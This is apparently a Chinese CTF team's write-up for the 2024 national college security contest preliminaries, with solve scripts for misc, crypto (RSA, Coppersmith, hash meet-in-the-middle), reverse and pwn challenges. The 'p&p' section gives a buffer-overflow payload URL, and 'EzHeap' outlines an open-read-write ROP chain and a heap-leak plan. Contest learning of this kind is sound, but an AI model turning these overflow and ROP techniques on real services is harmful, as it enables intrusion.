2024全国大学生信息安全竞赛初赛WP-Yulin

战队名称:Yulin

战队排名:全国24名,赛区第5名

4fb764379a4fd2b56dd7989ea4b1daf4

MISC

火锅游戏

签到题,正确作答即可,图片会旋转没蚌住

flag{y0u_ar3_hotpot_K1ng}

img

Power Trajectory Diagram

观察可得在密码输入正确的时候波谷会有一个较大的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from collections import Counter

import numpy
import matplotlib.pyplot as plt
import numpy as np

data = numpy.load("attachment.npz")
# 提取并读取每个文件的数据
input_data = list(Counter(data['input.npy']))
trace_data = data['trace.npy']

plt.figure()
for i in range(40):
plt.plot(trace_data[i], label=f'data {i + 1}')
plt.show()

img

然后找出每个序列的波谷,全部打印出来直接看下标

1
2
for i in range(len(trace_data)):
print(np.argmin(trace_data[i]))

可得序列[36, 42, 88, 138, 162, 213, 276, 308, 346, 388, 430, 476]

然后输出对应的字符

1
2
3
x = [36, 42, 88, 138, 162, 213, 276, 308, 346, 388, 430, 476]
for i in x:
print(input_data[i % len(input_data)], end="")

神秘文件

  1. 右键属性,cyberchef-Bifid cipher,输出转Base64,Part1:flag{e
  2. 找到ppt/embeddings/Microsoft_Word_Document.docx,然后解压,找到/word/document.xml,凯撒-B64,part2:675efb
  3. 用oledump.py,命令python .\oledump.py -v .\attachment.pptm查看代码块

img

然后python .\oledump.py -s A5 -v .\attachment.pptm,得到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Sub crypto(sMessage, strKey)
Dim kLen, x, y, i, j, temp
Dim s(256), k(256)

kLen = Len(strKey)
For i = 0 To 255
s(i) = i
k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
Next

j = 0
For i = 0 To 255
j = (j + k(i) + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next

x = 0
y = 0

For i = 1 To 3072
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp
Next

For i = 1 To Len(sMessage)
x = (x + 1) Mod 256
y = (y + s(x)) Mod 256
temp = s(x)
s(x) = s(y)
s(y) = temp

crypto = crypto & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
Next
'i13POMdzEAzHfy4dGS+vUA==(After base64)
End Sub

问GPT,GPT说是RC4,直接cyberchef,RC4(Input选Base64),PArt3:3-34

  1. 第三页,UGF5dDQ6NmYtNDA=,Base64解码,Payt4:6f-40

img

  1. 第五页备注,N B64,pArt5:5f-90d
  2. 第五页最上面,B64,ParT6:d-2

img

  1. /ppt/slides/slide4.xml,ROT13-B64,PART7=22b3
  2. /ppt/slideLayouts/slideLayout2.xml,然后回到PPT搜索:cGFSdDg6ODdl,自动跳转到对应页面,B64,paRt8:87e
  3. ppt\media\image53.jpg B64,那是个小写l,parT9:dee
  4. 解压PPTM,ppt/comments/comment1.xml,维吉尼亚密码-B64,PARt10:9}

Tough_DNS

img

GPT写的臃肿的提取二进制生成二维码的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# 示例使用
pcap_file = './Tough_DNS.pcapng'
non_www_baidu_domains = extract_non_www_baidu_domains(pcap_file)
# 输出结果
print("Requests not for www.baidu.com:")
for request in non_www_baidu_domains:
print(request)


def extract_xxx_baidu_domains(non_www_baidu_domains):
# 定义存储结果的列表
results = []

# 定义匹配目标域名格式的正则表达式
target_pattern = re.compile(r'^[a-z0-9-]+\.baidu\.com$')

# 遍历所有域名
for domain in non_www_baidu_domains:
# 检查域名是否符合目标域名格式
if target_pattern.match(domain.strip(".")):
results.append(domain.strip("."))

return results


xxx_baidu_domains = extract_xxx_baidu_domains(non_www_baidu_domains)
print("Requests for xxx.baidu.com domains:")
a = []
from collections import Counter

for domain in xxx_baidu_domains:
a.append(domain.strip(".baidu.com"))

a = list(Counter(a))

print(a)

import numpy as np
import matplotlib.pyplot as plt
import qrcode


def generate_qr_code(data):
# 创建空白图像
img_size = len(data)
qr_img = np.zeros((img_size, img_size))

# 将数据转换为二进制数组
binary_data = []
for row in data:
binary_row = [int(d) for d in row]
binary_data.append(binary_row)

# 绘制二维码
for i in range(img_size):
for j in range(img_size):
qr_img[i, j] = binary_data[i][j] * 255

return qr_img


# 生成二维码图像
qr_code_img = generate_qr_code(a)

# 显示二维码图像
plt.imshow(qr_code_img, cmap='gray', interpolation='nearest')
plt.axis('off')
plt.show()

查看DNS报文,Answers里面的TXT携带了数据

img

然后是GPT写的臃肿的提取十六进制的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from scapy.all import *
from scapy.layers.dns import DNS, DNSRR


def extract_txt_records(pcap_file):
# 读取pcapng文件
packets = rdpcap(pcap_file)

# 存储结果的字典
results = {
"0x4500": [],
"0x6421": []
}

# 遍历所有数据包
for packet in packets:
if DNS in packet and packet[DNS].ancount > 0:
# 提取DNS应答部分
dns = packet[DNS]
transaction_id = hex(dns.id)

# 检查TransactionID是否为0x4500或0x6421
if transaction_id in ["0x4500", "0x6421"]:
# 遍历所有应答记录
for i in range(dns.ancount):
dns_rr = dns.an[i]
if dns_rr.type == 16: # type 16 corresponds to TXT record
txt_record = dns_rr.rdata[0].decode("utf-8")
results[transaction_id].append(txt_record)

return results


# 示例使用
pcap_file = './Tough_DNS.pcapng'
txt_records = extract_txt_records(pcap_file)

# 输出结果
print("TXT Records for TransactionID 0x4500:")
print("".join(txt_records["0x4500"]))

print("\nTXT Records for TransactionID 0x6421:")
print("".join(txt_records["0x6421"]))

可以提取出来一个压缩包和一个未知加密文件

用二维码扫出来的密码解密压缩包,得到一个gpg文件

该文件的密钥藏在题干中,56 16 26 93 66 53 16 56 d2 03 26 93 56,cyberchef Reverse两次拿到密钥

img

然后先导入密钥再解密

1
2
gpg --import secret.gpg
gpg --decrypt --output 1.txt ./xxx

通风机

下载附件,.mwp文件,安装STEP 7-Micro

尝试打开附件,提示无法识别,创建一个新的mwp文件,对比后发现缺少文件头

在开头加入47 4A 4B,再次打开

在符号表-用户定义中找到Flag,Base64解码

img

p&p

用JEB反编译一下wasm,然后在start里面找到和flag有关的函数

img

img

img

还可以用wabt辅助一下理解

../wasm-decompile vuln.wasm > vuln.cxx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function stack_based_buffer_overflow() {
var a:int_ptr = g_a - 144;
g_a = a;
a[4] = a + 32;
scanf(65536, a + 16);
puts(a + 32);
a[0] = a + 32;
printf(65542, a);
g_a = a + 144;
}

function write_file() {
var a:int = g_a - 64;
g_a = a;
var b:int = fopen(65572, 65581);
if (eqz(b)) goto B_b;
var c:int = fopen(65583, 65592);
if (eqz(c)) goto B_a;
fread(a, 32, 1, c);
fprintf(b, a, 0);
fclose(b);
fclose(c);
g_a = a + 64;
return ;
label B_b:
puts(65619);
exit(1);
unreachable;
label B_a:
puts(65594);
exit(1);
unreachable;
}

分析函数__f13__f14

首先,让我们看一下__f13__f14函数的实现及其操作顺序。

1
2
3
4
5
6
7
8
9
10
11
c
复制代码
void __f13() {int v0 = __g0 - 144; // 调整栈指针,减去144
__g0 -= 144; // 更新全局栈指针
*(int*)((int)&gvar_10 + v0) = v0 + &gvar_20; // 保存地址v0 + &gvar_20到v0 + &gvar_10的内存位置
__f74(v0 + &gvar_10, "%[^\n]"); // 调用__f74函数,读取输入到v0 + &gvar_10
__f44(v0 + &gvar_20); // 调用__f44函数,传入参数v0 + &gvar_20
*(int*)v0 = v0 + &gvar_20; // 将v0 + &gvar_20地址存到v0位置的内存
__f38(v0, "[Wasm module]Your input is %s"); // 调用__f38函数,传入v0和格式化字符串
__g0 = v0 + 144; // 恢复全局栈指针
}

栈和内存布局

__f13函数通过调整栈指针__g0来管理内存。

  1. v0 = __g0 - 144:减去144来为当前函数分配栈空间。
  2. __g0 -= 144:更新全局栈指针,预留144字节空间。
  3. (int)((int)&gvar_10 + v0) = v0 + &gvar_20:将v0 + &gvar_20保存到v0 + &gvar_10位置。

然后它调用几个函数并传递不同的内存位置:

  • __f74:读取输入。
  • __f44:执行某些操作。
  • __f38:输出格式化字符串。

函数__f13在读取输入时没有边界检查。因此,如果输入的数据超过了预留的缓冲区大小(这里是v0 + &gvar_20v0 + 144的空间),将会导致缓冲区溢出。

第一个输入将会覆盖v0 + &gvar_10,随后的输入将会覆盖其他的内存区域,包括v0的栈空间。

假设file.txt的位置在v0 + 164处,当输入长度超过144字节时,就有可能覆盖file.txt的位置。

164个字符刚好可以写入file.txt,因为字符限制,因为可读取目录只有static/,static/a恰好8个字节,写入static/a,

payload:

1
2
3
http://ip/upload?name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaastatic/a
http://ip/test
http://ip/``static/a

img

盗版软件

更改内存文件后缀为.data,用Gimp打开调整偏移得到域名winhack.com

img

运行winhack.exe,在目录下生成了.ss,查看output,比原图片明显偏红

imgimg

stegsolve提取一下r通道,可以发现应该是有一个ZIP压缩包

img

隔项提取出来zip文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def extract_alternate_bytes(input_file, output_file):
try:
with open(input_file, 'rb') as f_in:
data = f_in.read()

# 提取每隔一个字节的字节
extracted_data = data[::2]

with open(output_file, 'wb') as f_out:
f_out.write(extracted_data)

print(f"Successfully extracted alternate bytes and saved to {output_file}")
except Exception as e:
print(f"An error occurred: {e}")


# 示例用法
input_file = '.ss/text' # 输入文件名
output_file = 'output.zip' # 输出文件名

extract_alternate_bytes(input_file, output_file)

然后Base85解码,保存一下文件

img

然后把shellcode丢到沙箱里面

img

最后合起来md5即可

Crypto

hash

开始发现是在python2,在此版本下对同个值不同程序运行hash函数得到的hash值是一样的,是可被预测的。历经千难万险,终于找到了默认hash函数对应的函数内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
l=64
def fnv(p):
mask=2**l-1
x=0
#print(p)
x=(x^(p[0]<<7))&mask
#print(x)
for c in p:
#print(c)
#print(x*1000003%(2**l))
x=((x*1000003)^c)&mask
x ^= 7
x&=mask
return x

根据此函数分析,原始的key只有7字节,可以利用中间人攻击,先对前三个字节做正向变换建立字典。在对后四个字节做逆向变换,判断是否在字典内,以下是脚步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import random
import gmpy2 as gp
from Crypto.Util.number import *
import hashlib,binascii
l=64
def fnv(p):
mask=2**l-1
x=0
#print(p)
x=(x^(p[0]<<7))&mask
#print(x)
for c in p:
#print(c)
#print(x*1000003%(2**l))
x=((x*1000003)^c)&mask
x ^= 7
x&=mask
return x
mask=2**64-1
dict={}
for a in range(256):
x = 0
x=(x^(a<<7))&mask
x = ((x * 1000003) ^ a) & mask
for b in range(256):
x2=((x*1000003)^b)&mask
for c in range(256):
x3=((x2*1000003)^c)&mask
dict[x3]=bytes([a,b,c])
ni=gp.invert(1000003,2**64)
r=7457312583301101235
for a in range(256):
print(a)
r1=((r^a)*ni)&mask
for b in range(256):
r2=((r1^b)*ni)&mask
for c in range(256):
r3 = ((r2 ^ c) * ni) & mask
for d in range(256):
r4 = ((r3 ^ d) * ni) & mask
if r4 in dict.keys():
print(dict[r4]+bytes([d,c,b,a]))
exit(0)
from Crypto.Util.number import *
import hashlib,binascii
k1=b']\x8c\xf0?Z\x08'+bytes(x^7 for x in b'U')
print(k1)
k2=13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
print(long_to_bytes(int(hashlib.sha384(binascii.hexlify(k1)).hexdigest(), 16) ^k2))

OvO

根据题目代码可知,e主要是有(k+2)pq决定的,因此直接用给定的e去整除n可以得到大概的k,在根据e-(k+2)pq的范围小于2^512,可以得到精确的k,于是我们可以得到(2k+2)p+(k+2)q的值,误差在2^200,做变换x=(2k+2)p,y=(k+2)q,在对n变换(2k+2)p(k+2)q,于是可以有x+y和xy,利用二元一次方程求根公式,可以得到大概的p值,误差在2^75,此时就是简单的已知p高位,分解n了。直接利用铜匠攻击(在该脚本中对应small_roots函数)来求解。脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
from Crypto.Util.number import *
import gmpy2 as gp

kz=e//n
e1= 65537+1
k=kz-2
print(k)
print(kz.bit_length())
print(e-(k+2)*n)
e2=e-(k+2)*n-(k+2)-e1
e3=e2-2**200
e4=e2+2**200
n2=n*(2*k+2)*(k+2)
pxq1=gp.iroot(e3*e3-4*n2,2)[0]
pxq2=gp.iroot(e4*e4-4*n2,2)[0]
p1=(-pxq1+e3)//2
p2=(-pxq2+e4)//2
p1=p1//(k+2)
p2=p2//(k+2)
q1=(e3-pxq1)//2
l=75
print(q1//(2**l))
print(p1.bit_length())
print(p2)

for l in range(200):
if p1//(2**l)==p2//(2**l):
break
print(l)
print(p1//(2**l))
''''
本题核心是通过e得到k,在得到有一定误差的p
以下时sage脚步
l=76
ph=149391602638502161173991638847498395743506244962383923545897718652099839378422630628274408934483157612025154432310545628615302732537*2^l
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
P.<x> = PolynomialRing(Zmod(n))

f=ph+x
roots=f.small_roots(X=2**l,beta=0.4)
print(f(roots[0]))
q=11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637
p=n//q
print(p*q==n)
k=331118458487559161870846961263454730637
e=65537 + k * p + (k+2) * ((p+1) * (q+1)) + 1
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
d=inverse_mod(e,(p-1)*(q-1))
print(long_to_bytes(int(pow(c,d,n))))

'''

ezrsa

首先根据题目条件,要先得到pem的内容,由于passphrase是一个小于999999的整数,所以直接爆破passphrase,得到passphrase=483584

1
2
3
4
5
6
7
8
9
for i in range(999999,999999+1):
try:
passphrase = str(i).zfill(6).encode()
a1=PEM.decode(sa,passphrase)[0].hex()
if '30820' in a1:
print(i)
print(a1)
except:
pass

然后根据自己生成的和题目类似的原pem文件和模糊后的pem文件分析信息,于是得到n,e,qinv,dq的低48位

1
2
3
4
5
3082025c 020100 028181 00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81 0203010001 6a033064c5a0dffc  8f2363b340e5 0240 5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
3082025C 020100028181 00E7B0DD45EBA985EA1EB2FD7A7237E654FF0E40C9E5818D9348AA2DF7FC04E7E2A429C3E9031EB2B217BB10FD1370EAD89B33DD2233A54E035E37D39BA63DB3D138926CDC9A01E8B6A8EF84949B9F1A3BD4FE0ADEEB3B9D84FB7AF98F20D089C75197A94884B8A03400D73C3FCAA0DC1FAD1AC2CB0E304C73198521DCF1E50779 0203010001 0281800554C882A75D8B3B4BE18A7B9ACD367B9632D9C2CB89239CD3FB367B924CFA98F8760D8FFB0665CE3B458EAA841C010B62E6DA9BC2DC76E314F3EBE694F8AE7E82BD7E8E3B7CBB17D4F14263D4C328BD5D16566004098953B851DBB87F802A38AF73CCB9BFEC9EAEE7FAC92B6DAAD96D7D49E90D68E5460A148AEB22334E6C41024100F40C8CC874C39B3D452E5BE257835D24CFF6B2627DE2AF1666A799E073E6FD5997D238F7A1641B0B5AC21BD5E0BBCBD0D932165F050FEC3DA3BCD2DBEA24C505024100F30963DC1DF32B6D292BE1E3FAF1620256909AA20B4D27EFFFD8CC9BCB5B55F5EDF9B1EB99974D8EBB865500DBED5DA95BD1DE1B93E00C1DEF29778E8957C2E5024062290A17369FD6B8F6328752AAD0738E72F74F18BE7986E303B735F549A9070E1A3ABC1F1E131DAD9B7BA7A68716020CA6CFB69FD1716E1BFCD7DE18063D73E102403CE3565C58388AE1AF55EA22F6C4B0BC4B39B133F5C6DFC1960497C6545D4E9CED81081D317EA194A7D090CD454C2392018A03AE3F0EFB9A2847E847128BA52D024100EB5A32F31620E1BB980467829C2A7C9D3B2F8D7F4F42131ED7A289825F0AEAF390B542C755C0DCC94DFAEE609FBA2C50731B6A1D197B7B9A91267ACDADE62F96

3082025c 020100 028181 009f1f9c61aa59aa424d2126ddff4840ac791eaad43d2501dc0b5b8b7fb32190f98491b6a5e6d5afb96c842e7af68bde61e9deb5e031d34a021cde3e9052f75691e97a9bec01cc1559525a0d4a79eb2e9d665fb01aeb57eb8ad5b917d4307ca8cd6584c683acaab33a2c27cb81f496e22ad57dfa00fa3b6c31ff65d2573602db6b 0203010001 028180 0571c63a37d0d801fd7408250e84836dfa27cb1bd1cae6b8079fbd4ef20699eac31714f569c7baf18c022f39cdb0bf4e37e939c8dca023e29d0cad5979878762a14d1712ae9b1f9751e2f507363430ea5ea43a9e4737d98d38263e69508b7ec5cf710a3a8a6f32576de2fffe88dccccdf34539879daee3a78b8036a8b421e019024100c4d1fede0777fbda3561510df6cd5e92855d697a362c4463c0351c2f197da7255788dc7707857fb1de429bd31ec161e1bd86df9d3ef8c56cf8dc0d562a4b51e9024100cef7f2cf90e0c72c5ec1a6e8ae1409b2843499f5ac789e60e4e4b4f83f85ab563d1a434b0f0a168d79067aa735f083cbcbe7205c55d91da1b4c84c37dc64fa3302405b951751fb09b2903bac77c9d6a083340c8885cf0f2c13fa92726415ea77947204c43349d39f23e700f3df8c22507b9a4dd55771d4de6f0720d94bff5f18c319024100bd3d431b7cb9ba039ce46e0ba45798024d15978c6555a862aa07605cf81fed689dd7ec9dadb3a8a9547693215e957abc95c4cff6fd5bd6d72b685520627945b702401f929f3e7d99e8da1d632681aaec96a874a45859b033b7b6f8c2be4be37d9c2a503efe11ea5c1b5a09ee80cc6d29d736b4b0796f2050f8585b7a619c3c818fde
3082025c 020100 028181 009f1f9c61aa59aa424d2126ddff4840ac791eaad43d2501dc0b5b8b7fb32190f98491b6a5e6d5afb96c842e7af68bde61e9deb5e031d34a021cde3e9052f75691e97a9bec01cc1559525a0d4a79eb2e9d665fb01aeb57eb8ad5b917d4307ca8cd6584c683acaab33a2c27cb81f496e22ad57dfa00fa3b6c31ff65d2573602db6b 0203010001 e714c2046d87557c5520627945b702401f929f3e7d99e8da1d632681aaec96a874a45859b033b7b6f8c2be4be37d9c2a503efe11ea5c1b5a09ee80cc6d29d736b4b0796f2050f8585b7a619c3c818fde

接下来利用一个等式qinvq^2-q=0 (mod n),由qinvq-1=0 (mod p)变换得到。为了充分利用dq的低48位,于是利用等式edq=k(q-1)+1,变换为kq=e(dh+dl)-1+k

于是qinv(kq)^2-k*q=0 (mod n),dl已知,dh是未知变量,爆破k利用铜匠攻击得到dh,进而得到p,q,来得到明文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#sage脚本
n=0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
#n=0x009f1f9c61aa59aa424d2126ddff4840ac791eaad43d2501dc0b5b8b7fb32190f98491b6a5e6d5afb96c842e7af68bde61e9deb5e031d34a021cde3e9052f75691e97a9bec01cc1559525a0d4a79eb2e9d665fb01aeb57eb8ad5b917d4307ca8cd6584c683acaab33a2c27cb81f496e22ad57dfa00fa3b6c31ff65d2573602db6b
print(n)
c=55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
c1=25046915717483192431592038304249624475582787986490020051743222063982899496672100375432886115716370388346829279856692119946690582936882781049193372059122453116280442794765125226392091921497263393386080755954116197361281593398664633208972322336873311271654931683608431674335404029413843088090470309032239001331
print(int(c1).bit_length())
dl=0x8f2363b340e5
qn=0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
P.<x> = PolynomialRing(Zmod(n))
l=512
e=65537
l=48
for k in range(e):
lq=e*(x*2^48+dl)-1+k
f=qn*lq^2-k*lq
print(k)
roots=f.monic().small_roots(X=2^(512-48),epsilon=0.09)
if len(roots)>0:
print(k)
print(roots)
break
dh=28778232603745875952345127948622133865794191486730052777310516407166264413524420540308222338913143520150023118610537674484373949099911834678
dq=dh*2^48+dl
k=47794
q=(e*dq-1)//k+1
p=n//q
print(p*q==n)
d=inverse_mod(e,(p-1)*(q-1))
from Crypto.Util.number import *
print(long_to_bytes(int(pow(c,d,n))))

古典密码

flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

查看给出的密码格式AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9

结果flag一定是有大括号的,结合格式推测会有base。

固定base64,上面轮换找到Atbash可行,结果一个栅栏就好了。

img

Reverse

asm_re

手撕汇编(贴个脚本,汇编直接问GPT,他会给出同等C语言实现,倒着算回去就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 // 进行一系列运算
result = byte_value * 0x50; // 乘以0x50
result += 0x14; // 加上0x14
result ^= 0x4D; // 异或0x4D
result += 0x1E; // 加上0x1E
import re
import struct


def extract_dcb_values(input_string):
# 正则表达式模式匹配 DCB 十六进制值和十进制 0
pattern = r'DCB\s+(0x[0-9A-Fa-f]{2}|[0-9])'

# 使用 re.findall() 找到所有匹配模式的字符串
dcb_values = re.findall(pattern, input_string)
dcb_int_values = []
for i in dcb_values:
dcb_int_values.append((int(i, 16)))
return dcb_int_values


# 示例输入字符串
input_string = """""" # 放汇编const那部分,太长了不贴

# 提取 DCB 十六进制值
dcb_hex_values = extract_dcb_values(input_string)
# print(len(dcb_hex_values))
#
# # 打印结果
# print(dcb_hex_values)
print("提取出的 DCB 十六进制值:", dcb_hex_values)

str_bytes = [struct.unpack("<I", bytes(dcb_hex_values[i:i + 4]))[0] for i in range(0, len(dcb_hex_values), 4)]

if __name__ == '__main__':
print(str_bytes)
for i in str_bytes:
i -= 0x1E
i ^= 0x4D
i -= 0x14
i //= 0x50
print(chr(i), end="")

gdb_debug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<stdio.h>

int main()
{
int rd1[] = { 0xD9,0x0F,0x18,0xBD,0xC7,0x16,0x81,0xBE,0xF8,0x4A,0x65,0xF2,0x5D,0xAB,0x2B,0x33,
0xD4,0xA5,0x67,0x98,0x9F,0x7E,0x2B,0x5D,0xC2,0xAF,0x8E,0x3A,0x4C,0xA5,0x75,0x25,0xB4,0x8D,
0xE3,0x7B,0xA3,0x64 };
int rd2[] = { 0xde,0xaa,0x42,0xfc,0x09,0xe8,0xb2,0x06,0x0d,0x93,0x61,0xf4,0x24,0x49,0x15,
0x01,0xd7,0xab,0x04,0x18,0xcf,0xe9,0xd5,0x96,0x33,0xca,0xf9,0x2a,0x5e,0xea,
0x2d,0x3c,0x94,0x6f,0x38,0x9d,0x58,0xea };

int ptr[] = { 0x12, 0x0E, 0x1B, 0x1E, 0x11, 0x05, 0x07, 0x01, 0x10, 0x22, 0x06, 0x17, 0x16, 0x08, 0x19, 0x13,
0x04, 0x0F, 0x02, 0x0D, 0x25, 0x0C, 0x03, 0x15, 0x1C, 0x14, 0x0B, 0x1A, 0x18, 0x09, 0x1D, 0x23,
0x1F, 0x20, 0x24, 0x0A, 0x00, 0x21 };

int ptrp[40];
for (int i = 0; i < 38; i++)
{
ptrp[ptr[i]] = i;
}

int qg[] = { 0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88,
0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D,
0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78 };
char crypt[] = "congratulationstoyoucongratulationstoy";
char flag[40];



for (int i = 0; i < 38; i++) {
crypt[i] = crypt[i] ^ qg[i] ^ rd2[i];
}

for (int i = 0; i < 38; i++) {
flag[i] = crypt[ptrp[i]];
}
for (int i = 0; i < 38; i++) {
flag[i] = flag[i] ^ rd1[i];
}
printf("%s",flag);
return 0;
}

rd1,rd2和ptr都是由播种的为随机数生成,qg是一段字符串。程序逻辑先将flag与rd1异或,再使用ptr来交换次序,最后再使用rd2和qg来异或,结果为congratulationstoyoucongratulationstoy。

解密逻辑将这个过程反过来即可。

whereThel1b

ida逆向so库,可以每三位进行爆破,使用trytry来加密,将加密结果的对应位与密文进行对比即可爆破出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import whereThel1b
import string

def decrypt(encrypted_data, alphabet, current_guess):
for i in range(14):
for j in alphabet:
for k in alphabet:
for l in alphabet:
# 构造新的尝试解密字符串
attempt = current_guess[:i*3] + j + k + l + current_guess[(i+1)*3:]
attempt_bytes = attempt.encode()
# 尝试解密并比较结果
decrypted = whereThel1b.trytry(attempt_bytes)
if all(decrypted[i*4+i] == encrypted_data[i*4+i] for i in range(4)):
current_guess = attempt
break # 如果找到匹配的字符组合,跳出内层循环
if current_guess.startswith(j + k + l):
break # 如果已经更新了current_guess,跳出中间层循环
if current_guess.startswith(j + k + l):
break # 如果已经更新了current_guess,跳出外层循环
return current_guess

# 初始化加密字符列表、字母表和初始猜测字符串
encrypted_data = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
alphabet = string.printable
start = 'x' * 42

# 执行解密函数
flag = decrypt(encrypted_data, alphabet, start)
print(flag)

PWN

EzHeap

  1. 查看有无沙箱保护:限制了只能使用read,write,open:

img

  1. 因此需要构建syscall和gadget,从libc当中获取后,构造ropchain:

    1. 打开文件(**open**):
      1. pop rdi; ret 设置第一个参数为文件路径 ./flag 的地址。
      2. pop rsi; ret 设置第二个参数为 0(只读模式)。
      3. pop rax; ret 设置系统调用号为 2SYS_open)。
      4. syscall 触发系统调用 open
    2. Read File (**read**):
      1. pop rax; ret 设置系统调用号为 0SYS_read)。
      2. pop rdi; ret 设置文件描述符为 3(返回的文件描述符)。
      3. pop rdx; pop rbx; ret 设置第三个参数为 0x30(读取的字节数)。
      4. pop rsi; ret 设置第二个参数为内存地址(缓冲区)。
      5. syscall 触发系统调用 read
    3. Write to Standard Output (**write**):
      1. pop rax; ret 设置系统调用号为 1SYS_write)。
      2. pop rdi; ret 设置第一个参数为 1(文件描述符 stdout)。
      3. pop rsi; ret 设置第二个参数为内存地址(缓冲区地址)。
      4. syscall 触发系统调用 write
  2. 堆利用由于glibc的版本较高(2.35),考虑使用tcache+fake_IO进行泄露提取。

img

  1. 步骤如下:创建多个大小为 0x20 的 chunk 并填满 tcache;创建并释放较大的 chunk,这些 chunk 会进入 unsorted bin。创建多个堆块,删除一个放入tcache。修改chunk0写入进行泄露,可泄露时堆状态如下:

img

